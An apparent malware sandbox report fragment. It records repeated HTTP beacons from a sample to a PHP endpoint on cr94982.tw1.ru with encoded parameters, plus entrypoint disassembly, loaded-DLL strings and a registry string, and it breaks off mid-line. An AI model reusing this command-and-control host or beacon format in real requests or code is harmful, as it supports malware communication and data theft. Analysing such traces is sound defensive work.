jY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive with response body ==>3D3D5166394A69493649434F6A52544F3245544D6C6C6A5A31556D4E35635459695A7A597959444E3255445A774D574E3151544D694A79653649794E316B7A4D....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive with response body ==>3D3D5166394A69493649434F6A52544F3245544D6C6C6A5A31556D4E35635459695A7A597959444E3255445A774D574E3151544D694A79653649794E316B7A4D....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive with response body ==>3D3D5166394A69493649434F6A52544F3245544D6C6C6A5A31556D4E35635459695A7A597959444E3255445A774D574E3151544D694A79653649794E316B7A4D....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive with response body ==>3D3D5166394A69493649434F6A52544F3245544D6C6C6A5A31556D4E35635459695A7A597959444E3255445A774D574E3151544D694A79653649794E316B7A4D....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive with response body ==>3D3D5166394A69493649434F6A52544F3245544D6C6C6A5A31556D4E35635459695A7A597959444E3255445A774D574E3151544D694A79653649794E316B7A4D.......6e:T6dd,"18f5a3194d73e08d7d66b7a3b42568b3.exe" file has an entrypoint instructions - "call 0x41f0b9,jmp 0x41ead2,cmp ecx, dword ptr [0x43e668],bnd jne 0x41ec55,bnd ret ,bnd jmp 0x41f253,int3 ,int3 ,int3 ,int3 ,int3 ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x411a00,mov dword ptr [esi], 0x435580,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x435588,mov dword ptr [ecx], 0x435580,ret ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,lea eax, [ecx + 4]," "intoHostDhcp.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"6f:Tc56,Observed system executable string:"%WINDIR%\system32\sfc_os.dll" [Source: 00000000-00003560-00000C25-2096582851] Observed system executable string:"%WINDIR%\system32\SSPICLI.DLL" [Source: 00000000-00003560-00000C25-2096612086] Observed system executable string:"%WINDIR%\system32\rsaenh.dll" [Source: 00000000-00003560-00000C25-2096642423] Observed system executable string:"%WINDIR%\system32\UXTheme.dll" [Source: 00000000-00003560-00000C25-2096689489] Observed system executable string:"%WINDIR%\system32\dwmapi.dll" [Source: 00000000-00003560-00000C25-2096718838] Observed system executable string:"%WINDIR%\system32\cryptbase.dll" [Source: 00000000-00003560-00000C25-2096747307] Observed system executable string:"%WINDIR%\system32\riched20.dll" [Source: 00000000-00003560-00000C25-2096782407] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00003560-00000C25-2096839972] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" [Source: 00000000-00003560-00000C25-2097016652] Observed system executable string:"%WINDIR%\system32\shell32.dll" [Source: 00000000-00003560-00000C25-2098147615] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00003560-00000C25-2098320909] Observed system executable string:"%WINDIR%\syswow64\MSCTF.dll" [Source: 00000000-00003560-00000C25-2098418889] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00003756-00000C25-2100885142] Observed system executable string:"%WINDIR%\syswow64\CRYPT32.dll" [Source: 00000000-00003756-00000C25-2101031360] Observed system executable string:"%WINDIR%\SysWOW64\wshext.dll" [Source: 00000000-00003756-00000C25-2101102438] Observed system executable string:"%WINDIR%\system32\wpdshext.dll" [Source: 00000000-00003756-00000C25-2106877293] Observed system executable string:"%WINDIR%\System32\shdocvw.dll" [Source: 00000000-00003756-00000C25-2107235771] Observed system executable string:"%WINDIR%\SysWOW64\ieframe.dll" [Source: 00000000-00003756-00000C25-2107603585] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00003744-00000C28-159452654] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00003744-00000C25-2110083488] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00003744-00000C25-2110492510] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003744-00000C25-2110805345] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00003744-00000C25-2110896704] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00003744-00000C25-2110938870] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00003744-00000C25-2111129300]70:T459,Found string "Win32Registry|HKEY_CURRENT_USER\Environment"; Source: "00000000-00003744.00000001.200239.1C990000.00000004.mdmp, 00000000-00003744.00000001.200239.1CA20000.00000004.mdmp, 00000000-00003744.00000001.200239.1CA4D000.00000004.mdmp, 00000000-00003744.00000001.200239.1CAE2000.00000004.mdmp, 00000000-00003744.00000001.200239.1CB10000.00000004.mdmp, 00000000-00003744.00000001.200239.1D6E0000.00000004.mdmp, 00000000-00003744.00000001.200239.1D6F1000.00000004.mdmp, 00000000-00003744.00000001.200239.1D703000.00000004.mdmp, 00000000-00003744.00000001.200239.1D74B000.00000004.mdmp, 00000000-00003744.00000002.200345.1C990000.00000004.mdmp, 00000000-00003744.00000002.200345.1CA20000.00000004.mdmp, 00000000-00003744.00000002.200345.1CA4D000.00000004.mdmp, 00000000-00003744.00000002.200345.1CAE2000.00000004.mdmp, 00000000-00003744.00000002.200345.1CB10000.00000004.mdmp, 00000000-00003744.00000002.200345.1D6E0000.00000004.mdmp, 00000000-00003744.00000002.200345.1D6F1000.00000004.mdmp, 00000000-00003744.00000002.200345.1D703000.00000004.mdmp, 00000000-00003744.00000002.200345.1D74B000.00000004.mdmp")71:T1972,Found http requests in header "GET /c7cfea12.php?oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=wMxUTY4czNxImZ0IjNllTNhJWOzUGZ1ImZyYWYlFWOyIWYzgzYxUWO&oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo" Found http requests in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W" Found http requests in header "GET 